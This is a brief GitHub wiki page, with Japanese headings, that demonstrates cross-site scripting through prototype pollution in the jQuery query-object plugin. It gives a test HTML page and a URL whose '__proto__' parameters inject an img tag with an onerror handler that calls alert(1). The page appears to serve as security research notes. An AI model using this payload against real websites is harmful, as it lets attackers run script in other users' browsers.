prototype pollution 01 - yujitounai/helloworld GitHub Wiki
jQuery.queryプラグインのprototype pollutionを使ったXSS
imgタグの中身を書き換えられる
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script src="https://raw.githack.com/alrusdi/jquery-plugin-query-object/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.js"></script>
<script>
$("<img src='/ec/_ui/pc/common/images/spinner.gif'/>")
</script>
xss-prototype-pollution-01.html?__proto__[img][0]=1&__proto__[img][1]=%3Cimg%20src%20onerror%3dalert(1)%3E